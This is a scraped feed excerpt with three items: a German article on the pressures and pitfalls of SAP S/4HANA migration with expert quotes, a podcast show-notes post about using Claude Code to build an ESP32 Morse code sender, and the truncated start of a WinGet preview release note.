<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/shutterstock_2443989867_16x9.png?w=1024" alt="ERP SAP Studie 27" class="wp-image-4199877" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie</p>.</figcaption></figure><p class="imageCredit">hasan as’ari – shutterstock.com</p></div>



<p class="wp-block-paragraph">SAP-Anwenderunternehmen stehen unter Druck, auf SAP S/4HANA zu wechseln, weil die Mainstream-Wartung für SAP ERP (SAP ECC 6.0) Ende 2027 ausläuft und die bis Ende 2030 geltende erweiterte Wartung kostenpflichtig ist.</p>



<p class="wp-block-paragraph">Zwar stellt SAP mit der „<a href="https://www.computerwoche.de/article/3816544/sap-kommt-kunden-entgegen.html">SAP ERP, Private Edition, Transition Option</a>“ eine weitere Wartungsverlängerung bis 2033 in Aussicht. Da diese einer Neuimplementierung gleichkommt, bleibt SAP-Kunden mehr Zeit für die Planung, die Analyse und das Changemanagement. Der Nachteil: Wer diese Option nutzt, läuft Gefahr, technologisch ins Hintertreffen zu geraten, da Innovationen nahezu ausschließlich für SAP S/4HANA bereitgestellt werden.</p>



<h2 class="wp-block-heading">Zögerliche SAP-S/4HANA-Transformation trotz Wartungsdruck</h2>



<p class="wp-block-paragraph">Obwohl der Druck hoch ist, hat eine große Zahl der SAP-Bestandskunden die Transformation auf die seit 2015 verfügbare ERP-Suite offenbar noch nicht vollzogen. Eine COMPUTERWOCHE-Expertenrunde zeigte, wo die größten Hürden liegen und was erfolgreiche Projekte auszeichnet.</p>



<p class="wp-block-paragraph">Warum etliche Unternehmen die Transformation vor dem regulären Wartungsende scheuen und stattdessen zwei Prozent Mehrkosten für die erweiterte Wartung einkalkulieren, brachte ein Teilnehmender auf den Punkt: Firmen haben über Jahrzehnte in ihre SAP-ERP-Lösung investiert und sie an individuelle Prozessanforderungen angepasst, damit die Abläufe entlang der Supply Chain reibungslos laufen. Er habe daher in den vergangenen zehn Jahren keinen Kunden erlebt, der freiwillig umsteigen wollte. Alle hätten gesagt, dass sie müssen.</p>



<p class="wp-block-paragraph">Nach Erfahrungswerten eines weiteren Experten nutzen erst rund 20 Prozent der SAP-Kunden SAP S/4HANA als Kernapplikation produktiv, unter anderem, weil entsprechende Transformationsprojekte auf sieben bis neun Jahre angelegt sind.</p>



<h2 class="wp-block-heading">Altlasten bremsen die SAP-S/4HANA-Transformation</h2>



<p class="wp-block-paragraph">Unternehmen, die sich für den Wechsel entscheiden, verzichten häufig auf jede Modernisierung. Sie vollziehen einen Eins-zu-eins-Umstieg ohne Code-Modifikation, sei es in Form einer System Conversion (Brownfield-Ansatz) oder per Lift and Shift in SAP Cloud ERP Private (früher: SAP S/4HANA Cloud Private Edition). Dabei ist eine große Zahl von SAP-ERP-Installationen gar nicht zukunftsfähig, weil sie auf Prozessen aus den 1990er Jahren basieren und im Lauf der Jahre durch zahlreiche Eigenentwicklungen erweitert wurden.</p>



<p class="wp-block-paragraph">Nicht selten gibt es bis zu mehrere tausend kundeneigene Programme im Z/Y-Namensraum, die zum Teil nicht mehr genutzt werden und das System unnötig belasten. Die Experten waren sich einig, dass eine solche rein technische Migration, bei der Altlasten wie ABAP-Eigenentwicklungen mitgeschleppt werden, keinen Mehrwert für das Unternehmen bringt.</p>



<p class="wp-block-paragraph">Es muss geprüft werden, welche Eigenentwicklungen beibehalten werden, weil sie wettbewerbsdifferenzierend und damit geschäftskritisch sind, und welche gelöscht werden müssen, weil sie nicht genutzt werden oder weil es dafür inzwischen SAP-Standardfunktionen gibt. Handlungsbedarf besteht auch bei einer dreistelligen Anzahl von Buchungskreisen, von denen niemand weiß, welche noch benötigt werden, oder bei zahlreichen Dubletten in den Kreditoren- und Debitorenstammdaten.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Studie “SAP S4HANA”: Sie können sich noch beteiligen!</strong></td></tr><tr><td>Zum Thema SAP S4HANA führt die COMPUTERWOCHE derzeit eine Multi-Client-Studie unter IT-Verantwortlichen durch. Haben Sie Fragen zu dieser Studie oder wollen Partner bei dieser Studie werden, helfen wir Ihnen unter <a href="mailto:research-sales@foundryco.com" target="_blank" rel="noreferrer noopener">research-sales@foundryco.com</a> gerne weiter. </td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Migrations-Tools und KI-Agenten beschleunigen den Umstieg</h2>



<p class="wp-block-paragraph">Um diesen Prüf- und Bereinigungsaufwand zu bewältigen, bietet SAP mehrere Tools, um die Transformation auf SAP S/4HANA zu vereinfachen: darunter SAP Activate, SAP Cloud ALM, Migration Cockpit, Readiness Check, Custom-Code-Check oder Modifikationsabgleich. Ergänzt werden sie durch Lösungen wie Signavio für die Prozessanalyse. Die Experten schätzen den Effizienzgewinn durch solche Migrationswerkzeuge auf 30 bis 50 Prozent.</p>



<p class="wp-block-paragraph">Zusätzliche Produktivität versprechen KI-Agenten, die Altsysteme automatisiert analysieren, Code bereinigen und Datenflüsse transformieren. Das reduziert den Migrationsaufwand und beschleunigt den Umstieg.</p>



<h2 class="wp-block-heading">Scope-Management als Schlüssel für den Projekterfolg</h2>



<p class="wp-block-paragraph">Einig waren sich die Teilnehmenden, dass SAP-S/4HANA-Transformationsprojekte in der Regel nicht an der Technologie scheitern, sondern an einer mangelhaften Scope-Definition und am unzureichenden Changemanagement.</p>



<p class="wp-block-paragraph">Ein Scope-Management vor dem Projektstart, das berücksichtigt, wie viel Veränderung der IT-Organisation und den Fachbereichen zugemutet werden kann, sei essenziell für den Erfolg, sagte einer der Teilnehmenden. Es erfordert die Fähigkeit zu priorisieren und ein iteratives Vorgehen, bei dem zunächst geschäftskritische Must-haves und Quick Wins umgesetzt werden. Weniger wichtige Nice-to-haves folgen später. Wer dagegen in der Konzeptionsphase bereits den großen Wurf anstrebt, wird voraussichtlich scheitern. Als Beispiel wurde der direkte Umstieg auf ein SAP-S/4HANA-Kernsystem genannt, das nach dem Clean-Core-Ansatz von nicht mehr lauffähigen Programmen und obsoleten Erweiterungen bereinigt ist.</p>



<p class="wp-block-paragraph">Genauso wichtig ist ein Change-Management, das Mitarbeitende von Beginn an einbezieht, die nötige Akzeptanz schafft und vom Top-Management aktiv unterstützt wird, sowie eine verbindliche Governance mit klaren Zielvorgaben. Unverzichtbar ist auch die Einbindung der Fachbereiche. Sie stellt die größte Herausforderung dar, da Unternehmen befürchten, dass durch die SAP-S/4HANA-Transformation zu viele personelle Ressourcen gebunden werden, die dann für Kernaufgaben fehlen. Kommt es vor, dass IT und Fachbereiche als Antipoden agieren, sollte ein Change-Coach als Vermittler eingesetzt werden.</p>



<h2 class="wp-block-heading">Hybride Betriebsmodelle setzen sich langfristig durch</h2>



<p class="wp-block-paragraph">Bereits vor dem Projektstart muss abschließend geklärt sein, welches Betriebsmodell für SAP S/4HANA am besten zu einem Unternehmen und seinen Zielen passt, auch mit Blick auf regulatorische Anforderungen. Das ist häufig nicht der Fall, sodass das Projektteam unnötig Zeit damit verbringt, das passende Betriebsmodell zu ermitteln. Das bremst Transformationsvorhaben aus.</p>



<p class="wp-block-paragraph">Nach Ansicht eines Teilnehmenden wird sich langfristig ein hybrides Betriebsmodell durchsetzen, bei dem der SAP-Kunde entscheidet, welche Elemente der SAP-S/4HANA-Landschaft in einer Hyperscaler-Cloud, einer souveränen Cloud und/oder On-Premises laufen. Eine weitere, weitgehend unbekannte Möglichkeit ist der Betrieb im Rahmen der Customer-Data-Center-Option (CDC) von SAP Cloud ERP Private (früher: SAP S/4HANA Cloud Private Edition), die aus Gründen wie Datenschutz, Leistung und Souveränität eine interessante Alternative sein kann.</p>



<p class="wp-block-paragraph">Mehrere Experten stellen darüber hinaus fest, dass die vollwertige SaaS-Lösung SAP Cloud ERP Public (früher: SAP S/4HANA Cloud Public Edition) inzwischen verstärkt eingesetzt wird. Sie stellt vorkonfigurierte Kern-ERP-Funktionen (Best Practices) bereit und lässt sich relativ schnell einführen, ermöglicht aber kaum individuelle Anpassungen. Diese Abstriche nehmen Unternehmen in Kauf, um von regelmäßigen, automatischen Upgrades und technologischen Innovationen zu profitieren.</p>



<p class="wp-block-paragraph">Kritisiert wurde allerdings, dass die Cloud-Diskussion häufig unter begrifflichen Unschärfen leidet. So macht der Betrieb von SAP S/4HANA in einer Hyperscaler- oder SAP-Cloud die Lösung noch lange nicht zum Software-as-a-Service-Angebot. Solche Ungenauigkeiten irritierten SAP-Kunden und bremsten die Entscheidungsfindung. Letztlich sind beim Cloud-Betrieb auch die Kosten entscheidend. Zwar wollen viele Unternehmen anfangs maximale Sicherheit mit Private Network und Confidential Computing, wählen dann aber günstigere Commercial-Cloud-Angebote. Ausnahmen bilden regulierte Branchen und der öffentliche Sektor.</p>



<p class="wp-block-paragraph">Ob hybrides Betriebsmodell oder Kostenfrage, am Ende entscheidet über den Projekterfolg nicht allein die Technologie, sondern auch, wie diszipliniert Scope und Wandel im Unternehmen gesteuert werden.</p>



<h2 class="wp-block-heading">Teilnehmer der Round-Table “SAP S4HANA 2027”</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Albrecht-Munz-HPE_169.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Albrecht Munz, HPE" class="wp-image-4199942" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Albrecht Munz, HPE: </p> <p>„Die SAP-S/4HANA-Migration ist primär ein erster technischer Pflichtlauf, der die IT seitige Grundlage für die digitale Transformation schaffen kann. Dass viele Unternehmen hier stagnieren, liegt auch am in diesem Zusammenhang häufig anzutreffenden Cloud-Washing: Das Hosting eines ERP-Systems in der Cloud liefert noch lange nicht die Innovations- und Business-Effekte einer wirklich Cloud-nativen SaaS-Architektur.“</p></figcaption></figure><p class="imageCredit">Harald Becker / Hewlett-Packard GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/01/Anke-Frier_LHIND_TESTIMONIALS_030_16x9.png?w=1024" alt="Anke Frier, Lufthansa Industry Solutions " class="wp-image-3634299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Anke Frier, Lufthansa Industry Solutions:</p>
<p>„Unternehmen, die sich für eine technische SAP-S/4HANA-Transformation entschieden haben, dürfen diese nicht mit dem Go-Live als abgeschlossen betrachten. Der langfristige Erfolg hängt davon ab, wie konsequent danach die neuen technologischen Möglichkeiten genutzt werden, um Prozesse umzugestalten, zu digitalisieren und durch KI-Einsatz zu unterstützen. Erst dadurch entsteht ein messbarer Business Value.“</p></figcaption></figure><p class="imageCredit">Sonja Brüggemann / Lufthansa Industry Solutions GmbH &amp; Co. KG</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Peter_Buermann_Microsoft_16x9.png?w=1024" alt="Peter Büermann, Microsoft" class="wp-image-4199948" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Peter Büermann, Microsoft:</p>
<p>„Der optimale Zeitpunkt für den Umstieg auf SAP S/4HANA ist jetzt. Die Reife der Migrationswerkzeuge, standardisierte Vorgehensmodelle und die umfangreiche Projekterfahrung der SAP-Partnerlandschaft reduzieren das Risiko deutlich. Damit sind die wesentlichen Hürden vergangener Jahre weitgehend beseitigt und Unternehmen profitieren von einer schnelleren Implementierung, geringeren Kosten und einer höherer Projektqualität.“</p>
</figcaption></figure><p class="imageCredit">Microsoft Deutschland GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Roland_Storbeck_Natuvion_090726_285_16x9.png?w=1024" alt="Roland Storbeck, Natuvion" class="wp-image-4199949" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Roland Storbeck, Natuvion:</p>
<p>„Wirklich erfolgreich sind die SAP-S/4HANA-Migrationen, deren Scope noch vor dem Projektstart klar definiert und gemanagt wird. Wer zu Beginn zu hohe Ansprüche hat und jeden Prozess umdrehen will, dessen Vorhaben scheitert häufig schon in der Konzeptionsphase. Zudem muss jedes Unternehmen die Frage beantworten, wie viel Change seine IT- und Business-Organisation überhaupt verträgt. Neben einem klaren Scope ist dringend zu empfehlen, den eigenen Datenbestand vor Projektstart zu analysieren und aufzuräumen.“</p>
</figcaption></figure><p class="imageCredit">VOGUS – Wolfgang Voglhuber / Natuvion GmbH</p></div>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Matthias-Draschner_smartshift.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Matthias Draschner, smartShift" class="wp-image-4199950" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Matthias Draschner, smartShift:</p>
<p>„Für viele Unternehmen ist SAP in erster Linie eine über Jahre oder sogar Jahrzehnte gewachsene IT-Landschaft, die geschäftskritische Prozesse unterstützt und absichert. Entsprechend besteht die berechtigte Erwartung, dass diese Prozesse auch nach der Migration auf SAP S/4HANA zuverlässig und möglichst unverändert weiterlaufen. Gleichzeitig bietet die SAP-S/4HANA-Transformation die Chance, Custom Code entweder zu modernisieren und auf die Anforderungen einer Cloud-fähigen Architektur auszurichten oder zu entfernen, sofern er nicht mehr benötigt wird. Spezielle Analyse- und Automatisierungstools unterstützen diesen Prozess.“</p>
</figcaption></figure><p class="imageCredit">smartShift Technologies GmbH</p></div>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.70-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</guid>
<pubDate>Thu, 23 Jul 2026 00:42:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
